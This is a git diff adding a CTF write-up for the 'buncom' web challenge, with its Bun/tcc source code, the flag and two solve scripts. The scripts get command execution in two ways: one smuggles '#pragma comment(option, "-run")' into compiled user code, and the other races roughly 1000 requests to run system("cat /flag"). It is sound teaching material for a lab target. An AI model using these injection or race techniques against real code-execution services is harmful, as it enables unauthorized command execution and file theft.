Service](https://github.com/lebr0nli/My-CTF-Challenges/tree/main/HITCON%20CTF%202024/Echo%20as%20a%20Service). Much thanks to [lebr0nli](https://github.com/lebr0nli)! + +## Description + +Did Bun fix shell injection? Find out in hitcon eaas the sequel! + +[handout_buncom.zip](./handout_buncom.zip) + +## Overview + +Upon launching an instance you can see a code editor and a submit button + +![](./image/web.png) + +After further inspection using the given [index.js](./src/index.js) file, lets break down the flow of the website: + +- Compile `default.c` and save the md5 hash of the output binary. + +```js +import { $ } from "bun"; + +const src = "/tmp/custom.c", exe = "/tmp/a.out" + +let hash = await $` + cp default.c ${src}; + timeout 0.1 tcc ${src} -o ${exe}; + timeout 0.1 md5sum ${exe}`.text(), output = "" +``` + +This is just a simple misdirection, I don't actually think you can construct an another file with the same `md5sum`, especially using binary output format but I'm happy to be proven wrong! + +- Serve the http website on port 1337 using bun + +```js +const server = Bun.serve({ + host: "0.0.0.0", + port: 1337, + async fetch(req) { + const url = new URL(req.url); + if (url.pathname === "/") { +``` + +- If the parameter code exists, write its content to `$src` and compile to `$exe` using tcc + +```js +const code = (new URLSearchParams(url.search)).get('code') +if (code) { + try { + output = await $`echo ${code} > ${src}; timeout 0.1 tcc ${src} -o ${exe}`.text() + } catch (err) { + output = err.stderr.toString(); + } +} +``` + +Again, a misdirection. There isn't any bun command injection to my knowledge but if you found a 0day you deserve the flag anyway! + +- Compare md5 hash of the binary. If the hash is different, recompile using `tcc default.c` + +```js +if (await $`timeout 0.1 md5sum ${exe}`.text() !== hash) { + await $`timeout 0.1 tcc default.c -o ${exe}`.text(); + output = `md5sum ${exe} != ` + hash; +} +``` + +- Finally, return the content from the binary as `text/html` (See [default.c](./src/default.c)) + +```js +let html = await $`${exe}`.text() +html = html.replace('__CODE__', Bun.escapeHTML(await Bun.file(src).text())) +return new Response(output + html, { + headers: { + "Content-Type": "text/html; charset=utf-8", + "Content-Security-Policy": "script-src 'self'; object-src 'none'; base-uri 'none'; require-trusted-types-for 'script';" + } +}); +``` + +![](./image/change.png) + +Let's try to include the flag + +![](./image/include.png) + +Hmm tcc seems to output very little compile error details + +Since we know the flag format, we can try to make the flag include-valid: + +![](./image/include_define.png) + +This doesn't output the full flag because it contains special characters + +You can keep playing with `#define` but I don't think it's possible to leak the part that contains a single `'` as it breaks tcc parsing. For reference you can see the [full flag](./flag) + +An another idea is try to make it compile error or not based on the content of the flag. There's an excellent writeup for [hxp compilerbot](https://rpis.ec/blog/hxp-26c3-ctf-compilerbot/). However, this doesn't work because tcc doesn't support `.incbin` in the first place + +## Solution + +### Intended solution + +Since this challenge ran tcc instead of gcc or clang, it makes sense to look at the help page: + +```cpp +> tcc -h +Tiny C Compiler 0.9.28rc - Copyright (C) 2001-2006 Fabrice Bellard +Usage: tcc [options...] [-o outfile] [-c] infile(s)... + tcc [options...] -run infile (or --) [arguments...] +General options: + -c compile only - generate an object file + -o outfile set output filename + -run run compiled source +``` + +What if we can run code during compile time in tcc? If we can override the tcc compiler flag to add `-run` that would be great! That way the `md5sum` will stay the same + +Maybe something similar to `#pragma GCC optimize "-Ofast"`? + +Notice these 3 lines in [Dockerfile](./Dockerfile), tcc was installed from source + +```docker +RUN apt update && apt install git gcc make -y +RUN git clone --depth=1 https://github.com/TinyCC/tinycc.git tinycc +RUN cd tinycc && ./configure --prefix=/usr && make && make install +``` + +This gives us the motivation to look at the latest source code [tinycc/tests/tests2/60_errors_and_warnings.c](https://github.com/TinyCC/tinycc/blob/1cee0908d2a72d2568b2e915e8d619f049dfcf92/tests/tests2/60_errors_and_warnings.c#L416-L422) + +```cpp +#pragma comment(option, "-Wall") +#elif defined test_switch_W2 +#pragma comment(option, "-Wunsupported -Wno-implicit-function-declaration -Wstuff") +#elif defined test_switch_W3 +#pragma comment(option, "-Wwrite-strings -Werror=discarded-qualifiers") +#elif defined test_switch_W4 +#pragma comment(option, "-Wunsupported -Wno-error=implicit-function-declaration -Werror") +``` + +Ah there it is, you can add the compiler flags during compile time! Which means it will probably works for all options too and specifically `#pragma comment(option, "-run")` + +`solve.py` +```py +URL = "http://localhost:1337/" +URL = "http://5b964bb4-10f6-4d1b-a191-a1e4578261b7.bugg.cc/" + +import requests, urllib + +code = """ +#pragma comment(option, "-run") + +int main() { + system("cat /flag"); +} +""" + +print(requests.get(f"{URL}?code=" + urllib.parse.quote(code)).text) +``` + +```sh +> python solve.py +CSCTF{I_tried_so_hard:(_and_got_so_far._But_in_the_end,_/flag_doesn't_even_matter!4ZeR18AXbDlZvKor91No} +``` + +> [!NOTE] +> But why would we compile from source when we can just install `tcc` using `apt install tcc -y`? +> The reason is that `oven/bun:slim` uses debian under the hood and they shipped a broken version of tcc. This will make `#pragma` [deadlock with tcc_warning()](https://github.com/TinyCC/tinycc/commit/dda95e9b0b30771369efe66b4a47e94cf0ca7dc0) + +# Unintended solution 😭 + +Fun fact, all 3 solves in this ctf were unintended using race condition. + +Because the fetch function is async, if you spam enough requests the website flow might look like this: + +```js +await $`timeout 0.1 tcc ${src} -o ${exe}` +return new Response(await $`${exe}`.text()) +``` + +As you can see it completely bypassed the hash check, just spam requests until you get the above scenario: + +`solve_race.js` +```js +let URL = "http://localhost:1337/" +URL = "https://43b64d26-d839-427d-92b2-68cf49cde759.bugg.cc" + +for (let i = 0; i < 1000; i++) fetch(`${URL}?code=${encodeURIComponent('main() { system("cat /flag"); }')}`).then(res => res.text()).then(text => { if (text.includes('CSCTF')) console.log(text) }); +``` + +```sh +> bun solve_race.js +CSCTF{I_tried_so_hard:(_and_got_so_far._But_in_the_end,_/flag_doesn't_even_matter!4ZeR18AXbDlZvKor91No} +``` + +Solution by [t-rekttt](https://github.com/t-rekttt) which is also a first blood, congratulations! + +![](image/blood.png) + +`t-rekttt` also gave idea on how to prevent race condition, thank you so much! + +![](image/prevention.png) \ No newline at end of file diff --git a/cyberspace24/buncom/flag b/cyberspace24/buncom/flag new file mode 100644 index 00000000..98fdc84f --- /dev/null +++ b/cyberspace24/buncom/flag @@ -0,0 +1 @@ +CSCTF{I_tried_so_hard:(_and_got_so_far._But_in_the_end,_/flag_doesn't_even_matter!4ZeR18AXbDlZvKor91No} diff --git a/cyberspace24/buncom/handout_buncom.zip b/cyberspace24/buncom/handout_buncom.zip new file mode 100644 index 00000000..165e9fb2 Binary files /dev/null and b/cyberspace24/buncom/handout_buncom.zip differ diff --git a/cyberspace24/buncom/image/blood.png b/cyberspace24/buncom/image/blood.png new file mode 100644 index 00000000..9939ba9d Binary files /dev/null and b/cyberspace24/buncom/image/blood.png differ diff --git a/cyberspace24/buncom/image/change.png b/cyberspace24/buncom/image/change.png new file mode 100644 index 00000000..b798cf59 Binary files /dev/null and b/cyberspace24/buncom/image/change.png differ diff --git a/cyberspace24/buncom/image/include.png b/cyberspace24/buncom/image/include.png new file mode 100644 index 00000000..d84da264 Binary files /dev/null and b/cyberspace24/buncom/image/include.png differ diff --git a/cyberspace24/buncom/image/include_define.png b/cyberspace24/buncom/image/include_define.png new file mode 100644 index 00000000..9caac256 Binary files /dev/null and b/cyberspace24/buncom/image/include_define.png differ diff --git a/cyberspace24/buncom/image/include_twice.png b/cyberspace24/buncom/image/include_twice.png new file mode 100644 index 00000000..f4a260a7 Binary files /dev/null and b/cyberspace24/buncom/image/include_twice.png differ diff --git a/cyberspace24/buncom/image/prevention.png b/cyberspace24/buncom/image/prevention.png new file mode 100644 index 00000000..082798d0 Binary files /dev/null and b/cyberspace24/buncom/image/prevention.png differ diff --git a/cyberspace24/buncom/image/web.png b/cyberspace24/buncom/image/web.png new file mode 100644 index 00000000..d3994eb8 Binary files /dev/null and b/cyberspace24/buncom/image/web.png differ diff --git a/cyberspace24/buncom/solve.py b/cyberspace24/buncom/solve.py new file mode 100644 index 00000000..24eb90ad --- /dev/null +++ b/cyberspace24/buncom/solve.py @@ -0,0 +1,14 @@ +URL = "http://localhost:1337/" +URL = "http://5b964bb4-10f6-4d1b-a191-a1e4578261b7.bugg.cc/" + +import requests, urllib + +code = """ +#pragma comment(option, "-run") + +int main() { + system("cat /flag"); +} +""" + +print(requests.get(f"{URL}?code=" + urllib.parse.quote(code)).text) diff --git a/cyberspace24/buncom/solve_race.js b/cyberspace24/buncom/solve_race.js new file mode 100644 index 00000000..d0a1ecc3 --- /dev/null +++ b/cyberspace24/buncom/solve_race.js @@ -0,0 +1,4 @@ +let URL = "http://localhost:1337/" +URL = "https://43b64d26-d839-427d-92b2-68cf49cde759.bugg.cc" + +for (let i = 0; i < 1000; i++) fetch(`${URL}?code=${encodeURIComponent('main() { system("cat /flag"); }')}`).then(res => res.text()).then(text => { if (text.includes('CSCTF')) console.log(text) }); \ No newline at end of file diff --git a/cyberspace24/buncom/src/default.c b/cyberspace24/buncom/src/default.c new file mode 100644 index 00000000..96f7a65c --- /dev/null +++ b/cyberspace24/buncom/src/default.c @@ -0,0 +1,58 @@ +#include + +int main() { + #define R(...) #__VA_ARGS__ + printf(R( + + + + + + Crack the hash, keep the website + + + +
+

Crack the hash, keep the website

+ +
+ + +
+
+ + + + + )); +} diff --git a/cyberspace24/buncom/src/index.js b/cyberspace24/buncom/src/index.js new file mode 100644 index 00000000..58a1046c --- /dev/null +++ b/cyberspace24/buncom/src/index.js @@ -0,0 +1,44 @@ +import { $ } from "bun"; + +const src = "/tmp/custom.c", exe = "/tmp/a.out" + +let hash = await $` + cp default.c ${src}; + timeout 0.1 tcc ${src} -o ${exe}; + timeout 0.1 md5sum ${exe}`.text(), output = "" + +const server = Bun.serve({ + host: "0.0.0.0", + port: 1337, + async fetch(req) { + const url = new URL(req.url); + if (url.pathname === "/") { + const code = (new URLSearchParams(url.search)).get('code') + if (code) { + try { + output = await $`echo ${code} > ${src}; timeout 0.1 tcc ${src} -o ${exe}`.text() + } catch (err) { + output = err.stderr.toString(); + } + } + if (await $`timeout 0.1 md5sum ${exe}`.text() !== hash) { + await $`timeout 0.1 tcc default.c -o ${exe}`.text(); + output = `md5sum ${exe} != ` + hash; + } + let html = await $`${exe}`.text() + html = html.replace('__CODE__', Bun.escapeHTML(await Bun.file(src).text())) + return new Response(output + html, { + headers: { + "Content-Type": "text/html; charset=utf-8", + "Content-Security-Policy": "script-src 'self'; object-src 'none'; base-uri 'none'; require-trusted-types-for 'script';" + } + }); + } else if (url.pathname === '/submit.js') { + return new Response(await Bun.file('submit.js').text(), { + headers: { 'Content-Type': 'application/javascript' }, + }); + } + } +}); + +console.log(`listening on http://localhost:${server.port}`); diff --git a/cyberspace24/buncom/src/submit.js b/cyberspace24/buncom/src/submit.js new file mode 100644 index 00000000..95f5cb59 --- /dev/null +++ b/cyberspace24/buncom/src/submit.js @@ -0,0 +1,7 @@ +document.getElementById('codeForm').addEventListener('submit', function(event) { + event.preventDefault(); + + const code = encodeURIComponent(document.getElementById('codeInput').value); + + fetch('/?code=' + code).then(_ => { location.reload() }) +}); diff --git a/nightmare/tamu19_pwn3/pwn3.id0 b/nightmare/tamu19_pwn3/pwn3.id0 new file mode 100644 index 00000000..3e45cba7 Binary files /dev/null and b/nightmare/tamu19_pwn3/pwn3.id0 differ diff --git a/nightmare/tamu19_pwn3/pwn3.id1 b/nightmare/tamu19_pwn3/pwn3.id1 new file mode 100644 index 00000000..53107fdd Binary files /dev/null and b/nightmare/tamu19_pwn3/pwn3.id1 differ diff --git a/nightmare/tamu19_pwn3/pwn3.id2 b/nightmare/tamu19_pwn3/pwn3.id2 new file mode 100644 index 00000000..8763b1e8 Binary files /dev/null and b/nightmare/tamu19_pwn3/pwn3.id2 differ diff --git a/nightmare/tamu19_pwn3/pwn3.nam b/nightmare/tamu19_pwn3/pwn3.nam new file mode 100644 index 00000000..36af0fad Binary files /dev/null and b/nightmare/tamu19_pwn3/pwn3.nam differ diff --git a/nightmare/tamu19_pwn3/pwn3.til b/nightmare/tamu19_pwn3/pwn3.til new file mode 100644 index 00000000..9ccc5d7d Binary files /dev/null and b/nightmare/tamu19_pwn3/pwn3.til differ diff --git a/tfc24/web/sagigram/description.png b/tfc24/web/sagigram/description.png new file mode 100644 index 00000000..af62d807 Binary files /dev/null and b/tfc24/web/sagigram/description.png differ